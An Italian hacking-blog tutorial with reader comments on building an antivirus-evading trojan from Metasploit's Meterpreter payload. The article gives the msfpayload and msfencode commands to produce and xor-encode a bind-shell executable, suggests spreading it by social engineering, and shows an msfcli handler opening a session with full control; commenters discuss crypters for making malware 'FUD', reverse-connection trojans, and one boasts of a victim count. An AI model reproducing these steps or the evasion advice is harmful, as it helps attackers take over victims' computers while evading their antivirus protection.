Ricevi gli aggiornamenti nella tua email:




mag
24th

Come Creare un Trojan non Rilevabile dagli Antivirus con Metasploit

Autore: Angelo Righi | Hacking

Con Metasploit è possibile creare ed eseguire exploit per ottenere l’accesso remoto a computer vulnerabili. L’interazione col computer colpito viene garantita da diversi payload che forniscono l’interfaccia tra l’attaccante e l’obiettivo. Uno di questi payload è il potente Meterpreter.

Una caratteristica interessante dei payload di Metasploit è che possono essere resi indipendenti dall’exploit; per esempio è possibile creare un file eseguibile “contenente” Meterpeter: si tratta a tutti gli effetti di un trojan. Questo file può essere distribuito, magari sfruttando tattiche di social-engineering. Una volta in esecuzione sulla macchina target offre all’intrusore un’interfaccia che consente a quest’ultimo il controllo totale del sistema.

Per creare un Meterpreter/trojan che apra la porta Tcp 4444 sulla macchina della vittima, è sufficiente eseguire msfpayload con i seguenti parametri:

$ msfpayload  windows/meterpreter/bind_tcp X > trojan.exe
Created by msfpayload  (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
Length:  298

verrà prodotto un file di circa 37KB dal nome trojan.exe.

Probabilmente gli antivirus saranno in grado di rilevare questo file. Per tentare di confondere gli antivirus è possibile cifrare il trojan così ottenuto, rendedolo “undetectable”. Par farlo si usa msfencode, sempre in dotazione alla suite Metasploit:

$ msfpayload windows/meterpreter/bind_tcp  R | msfencode -t exe >  trojan.exe
[*] x86/shikata_ga_nai  succeeded with size 326 (iteration=1)

Questo comando fa in modo che ad ogni esecuzione venga creata una versione del trojan cifrata tramite xor; di fatto ogni volta viene creato un file diverso. Questa tattica rende più difficile agli antivirus l’individuazione del trojan.

Una volta creato il trojan è possibile testarlo eseguendolo sulla macchina locale. Se il trojan si avvia, sarà presente nella lista dei processi e nell’elenco delle porta aperte apparirà la porta 4444 aperta:

$  netstat -an
 
Connessioni attive
 
Proto  Indirizzo  locale       Indirizzo esterno       Stato
TCP     0.0.0.0:4444           0.0.0.0:0              LISTENING

Rimane un problema: come accedere alla PC compromesso, su cui gira il nostro Meterpreter/trojan? Serve un client. E naturalmente il client naturale è Metasploit, in particolare msfcli. Per collegarsi al Meterpreter remoto si usa msfcli specificando il tipo di payload e l’indirizzoo remoto (RHOST). In questo esempio l’indirizzo remoto è in realtà l’indirizzo del computer locale, su cui gira il trojan:

$ msfcli exploit/multi/handler  PAYLOAD=windows/meterpreter/bind_tcp RHOST=127.0.0.1 E
[*] Please  wait while we load the module tree...
[*] Started bind handler
[*]  Starting the payload handler...
[*] Sending stage (723456 bytes)
[*]  Meterpreter session 1 opened (127.0.0.1:14359 > 127.0.0.1:4444)

Una volta avviato Meterpreter, la macchina è sotto il nostro completo controllo:

meterpreter > sysinfo
Computer: RONIN
OS       : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language:  it_IT
meterpreter >

In questo articolo ho mostrato come estrapolare il payload Meterpreter per poterlo utilizzare come trojan, come renderlo non rilevabile (o come tentare di farlo) dagli antivirus, e come collegarsi al trojan sfruttando la versione msfcli di Metasploit. E’ chiaro che utilizzando queste tecniche con tattiche di social-engineering, il penetration tester ha a disposizione un’arma formidabile per ottenere il controllo di qualsiasi computer.


Altri articoli:

PillolHacking.Net: I Migliori Articoli del 2010
Quello che si conclude è l’anno di Wikileaks e di Stuxnet, del controverso Assange e dell’esplosione...

Attaccare Vista/SMB2 con Metasploit
Atteso da qualche giorno, è finalmente arrivato il modulo Metasploit per l'attacco SMB2. La storia...

Metasploit Unleashed
Metasploit Framework è un potentissimo strumento di hacking, di cui spesso ho parlato e di cui ho mostrato...

Metasploit 3.4.0 è tra Noi
Come annunciato dal blog ufficiale, dopo cinque mesi di sviluppo ha visto la luce la versione 3.4.0...



Se vuoi essere sicuro di ricevere tutti gli aggiornamenti di PillolHacking gratuitamente nella tua email, iscriviti inserendo il tuo indirizzo qui sotto:


17 responses. Wanna say something?

  1. evilsocket
    mag 24, 2010 at 07:45:11
    #1

    Purtroppo devo dire che questa tecnica dei virus polimorfici tramite xor non funziona più da almeno 10 anni (escludendo i casi di antivirus configurati malissimo e/o antiquati quanto mia nonna ).

    Per quanto il virus stesso sia cifrato, una volta in memoria sarà obbligato a decodificarsi (tramite l’apposita sezione eseguibile che il tool msfencode “appiccicherà” in testa al file cifrato) rendendosi visibile a qualunque antivirus che, oltre a scannerizzare l’attività del filesystem, scannerizza anche gli applicativi in memoria … vale a dire il 99.99% degli AV decenti .

    Stessa cosa vale per il packing (upx e simili), ecc ecc ,

  2. FallChallenge
    mag 24, 2010 at 14:06:22
    #2

    Tra l’altro credo sia abbastanza inutile impiegare un trojan del genere se proprio si vuole accedere ad un computer, con l’introduzione dei router (praticamente ha sostituito il modem), ogni connessione esterna non iscritta nelle regole di routing viene bloccata, negata.

    Per l’appunto adesso i trojan in circolazione sono Reverse, ovvero la connessione avviene non da client a server, ma da server a client ;)

    Credo sia ormai risaputa la questione..

  3. Angelo Righi
    mag 24, 2010 at 19:50:14
    #3

    Consiglio la lettura di “Effectiveness of antivirus in detecting metasploit payloads” del SANS Institue: https://www.sans.org/reading_room/whitepapers/casestudies/effectiveness_of_antivirus_in_detecting_metasploit_payloads_2134

    Naturalmente Meterpreter consente le reverse connections e molto altro…

  4. evilsocket
    mag 24, 2010 at 19:53:14
    #4

    Conosco il documento, e non dice niente di nuovo.
    Che un polymorphic engine sia più complesso da rivelare rispetto ad un semplice encrypting engine è poco ma sicuro, ma da quando esistono le tecniche euristiche di scansione della memoria c’è poco da fare anche in questo caso.

  5. Giorgio
    mag 24, 2010 at 22:30:38
    #5

    Io sono sempre più convinto che la cosa migliore sia creare un programma ad hoc, magari se non si vuole perdere troppo tempo si cerca qualche sorgente di programmi fatti in vb per il controllo remoto.. vi assicuro che tutt’ora molti antivirus li ignorano! La parte più interessante (che non ho mai provato perchè non mi è servita) è quella della reverse connection! Tempo fà avevo iniziato un piccolo progetto che ho abbandonato poco dopo per questioni di tempo.. ma per quelle poche funzioni implementate funzionava alla grande!

  6. c4p.h00k
    mag 29, 2010 at 18:01:52
    #6

    Ho fatto un test con alcuni antivirus (non troppi veramente) e posso dire che seguendo passo passo quello che dice l’articolo i risulati sono diversi.
    alcuni antivirus individuano il trojan e lo cancellano subito non lo fanno neppure salvare sul file system, altri aspettano che lo mandi in esecuzione per rilevarlo, ma alcuni (e non pochi) non lo rilevano sul file system e lo fanno pure eseguire tranquillamente.
    Per ovvi motivi non posso dire quali sono gli antivirus che non rivelano il trojan, ma posso dire che non parlo solo di prodotti free, ma parlo di ben noti antivirus molto famosi nella versione enterprise correttamente licenziati.
    L’hack proposto ha grandi possibilità di essere portato a buon fine.
    Ottimo articolo.

  7. Giorgio
    mag 30, 2010 at 18:22:13
    #7

    Scusa l’ignoranza..
    ma cosa succede se scrivi i nomi degli antivirus?

  8. c4p.h00k
    mag 31, 2010 at 10:54:39
    #8

    che non è corretto nei confronti dei produttori (non è troppo importante, se fanno dei prodotti scarsi è colpa loro) e dal punto di vista legale l’owner di questo blog potrebbe avere problemi. Io qui sono ospite e un ospite non deve creare problemi al padrone di casa… questione di buona educazione ;-)

  9. Giorgio
    mag 31, 2010 at 13:01:31
    #9

    Rispetto la tua scelta! Effettuerò a mia volta qualche test appena possibile :)

  10. Emily
    mag 31, 2010 at 22:02:32
    #10

    Io sono sempre più convinto che la cosa migliore sia creare un programma ad hoc, magari se non si vuole perdere troppo tempo si cerca qualche sorgente di programmi fatti in vb per il controllo remoto.. vi assicuro che tutt’ora molti antivirus li ignorano! La parte più interessante (che non ho mai provato perchè non mi è servita) è quella della reverse connection! Tempo fà avevo iniziato un piccolo progetto che ho abbandonato poco dopo per questioni di tempo.. ma per quelle poche funzioni implementate funzionava alla grande!

  11. Giorigio
    giu 2, 2010 at 01:33:38
    #11

    @Emily:
    Intendevi dire.. “quoto”?? ;)

  12. kerberos5
    giu 4, 2010 at 22:13:46
    #12

    simpatico articolo ma obsoleto!!! c’è di meglio molto meglio un esempio http://img88.imageshack.us/i/filemanagervf0.jpg/ con un buon crypter in vb e le opportune modifiche è completamente FUD!!! ve lo posso garantire! al 100% questa è stata postata recentemente su un blog hacker http://img687.imageshack.us/img687/5378/spynet26989.png in basso a sinistra potete ammirare il numero delle vittime!!! lol

    ciauz

  13. mr-media
    giu 7, 2010 at 17:44:50
    #13

    Meglio di metasploit? mmmm…ho qualche dubbio..
    anche i crypter hanno la vita breve, è solo questione di tempo…tu quale hai usato?
    secondo me è meglio scriversi la propria app.

  14. Diego
    lug 30, 2010 at 00:36:32
    #14

    Ciao, complimenti per la guida esauriente! Sto leggendo molteplici guide e tutorial su metasploit, ma non ho ancora ben chiaro il fatto che questi tipi di attacchi possono essere sferrati solo contro host collegati alla stessa rete LAN oppure anche attraverso Internet.
    Scusa la domanda sciocca, spero in una vostra risposta :)
    grazie ciaooo

  15. Angelo Righi
    ago 1, 2010 at 18:30:29
    #15

    per Diego e tutti gli altri che hanno lo stesso dubbio:
    http://www.voipandhack.it/archives/linux/metasploit-da-remoto

2 Trackback(s)

  1. mag 24, 2010: Tweets that mention Come Creare un Trojan non Rilevabile dagli Antivirus con Metasploit | PillolHacking.Net -- Topsy.com
  2. mag 24, 2010: Technotizie.it

Post a Comment